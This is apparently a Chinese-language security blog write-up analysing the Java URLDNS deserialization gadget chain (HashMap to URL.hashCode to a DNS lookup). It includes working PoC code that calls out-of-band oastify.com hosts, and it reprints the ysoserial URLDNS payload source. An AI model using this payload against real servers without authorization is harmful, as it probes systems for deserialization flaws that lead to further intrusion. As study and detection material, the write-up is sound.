URLDNS算是一条比较简单的利用链,这条链不依赖第三方库,它无法执行系统命令,成功利用的结果也只是实现服务器的一次url解析,主要用这条链来判断服务器是否存在反序列化。

URLDNS 反序列化分析

1)Source 入口类重写readObject方法

2)Gadget Chain 入口类可传入任意对象(这种类一般为集合类)

3)Sink 执行类可被利用执行危险或任意函数

这条链的入口类是java.util.HashMap ,入口类需要具备以下条件

  1. 实现Serializable接口;
  2. 重写readObject方法,调用一个常见的函数;
  3. 接收参数类型宽泛;
  4. 最好JDK自带;

我们的执行类为URL类,调用链如下,最终会触发lookupAllHostAddr从而发起dns请求

1
2
3
4
5
6
HashMap->readObject()
HashMap->hash()
URL->hashCode()
URLStreamHandler->hashCode()
URLStreamHandler->getHostAddress()
InetAddress->getByName()

这里涉及到一个问题,为什么HashMap要自己实现writeObject和readObject方法?
原因是hashmap需要保证键的唯一性,所以它需要去计算每一个键的hashcode也就是哈希值,如果它的键是对象的话,在不同机器不同的JVM里面所算出来的哈希值就是不一样的,所以它需要把键拆开将里面每一个元素进行单独计算,这就使得它需要去实现自己的writeObject和readObject方法,

调用链分析

hashmap的readObject方法会在末尾调用一次hash(key)

image-20221109163027144

而在HashMap的hash()函数中,又会调用key.hashcode(),如果我们传入的是URL类,那么就会触发URL类的hashCode方法,最终调用getByName()方法发起dns请求

image-20221109162959764

POC构造

我们的poc初步构造如下

1
2
3
4
5
6
7
8
9
10
public static void main(String[] args) throws IOException, ClassNotFoundException
{
URL u = new URL("http://4z4r0zi8tepdwbojf5u8pxwy8peg25.oastify.com");
HashMap<URL, Integer> hm = new HashMap<URL, Integer>();
hm.put(u, 1);
System.out.println(hm);
serialize(hm);
HashMap new_hm= (HashMap) unserialize("ser.bin");
System.out.println(new_hm);
}

但如果我们在put处下断点会发现一个意外情况,HashMap的put函数也会调用hash方法,也会进入URL的hashCode方法

image-20221109164744402

在url类的hashCode中会判断hashCode是否为-1(该类的hashCode初始值为-1),如果为-1就会继续调用handler.hashCode,如果已经不为-1就会直接返回

image-20221109165022412

接着就会调用URLStreamHandler->getHostAddress(),最后发起DNS请求

image-20221109165133416

可以看到其实在put函数中就已经发起了dns请求,我们的burp也收到了

image-20221109165359011

而当触发readObject的时候,hashCode已经不为-1,从而导致反序列化时并没有触发handler.hashCode,也就不会发起dns请求

image-20221109165734456

根据上述的问题,我们必须保证在put方法中不发起dns请求,那我们就要先把url类的hashCode设为一个不是-1的值,

然后要使得在反序列化过程中触发handler.hashCode,就得再将url类的hashCode设为-1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static void main(String[] args) throws Exception
{
HashMap<URL, Integer> hm = new HashMap<URL, Integer>();
URL u = new URL("http://v95iaqsz35z462yapw4zzo6pigocc1.oastify.com");

Class clazz = u.getClass();
Field hashcode = clazz.getDeclaredField("hashCode");
hashcode.setAccessible(true);
hashcode.set(u, 123);
hm.put(u, 1);
hashcode.set(u,-1);

serialize(hm);
HashMap new_hm = (HashMap) unserialize("ser.bin");
}

yso

跟yso提供的poc大同小异

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
package ysoserial.payloads;

import java.io.IOException;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;


/**
* A blog post with more details about this gadget chain is at the url below:
* https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
*
* This was inspired by Philippe Arteau @h3xstream, who wrote a blog
* posting describing how he modified the Java Commons Collections gadget
* in ysoserial to open a URL. This takes the same idea, but eliminates
* the dependency on Commons Collections and does a DNS lookup with just
* standard JDK classes.
*
* The Java URL class has an interesting property on its equals and
* hashCode methods. The URL class will, as a side effect, do a DNS lookup
* during a comparison (either equals or hashCode).
*
* As part of deserialization, HashMap calls hashCode on each key that it
* deserializes, so using a Java URL object as a serialized key allows
* it to trigger a DNS lookup.
*
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
*
*
*/
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {

public Object getObject(final String url) throws Exception {

//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();

HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

return ht;
}

public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}

/**
* <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
* using the serialized object.</p>
*
* <b>Potential false negative:</b>
* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
* second resolution.</p>
*/
static class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}

加上我们的url参数直接打通

image-20221109180919118

image-20221109180849519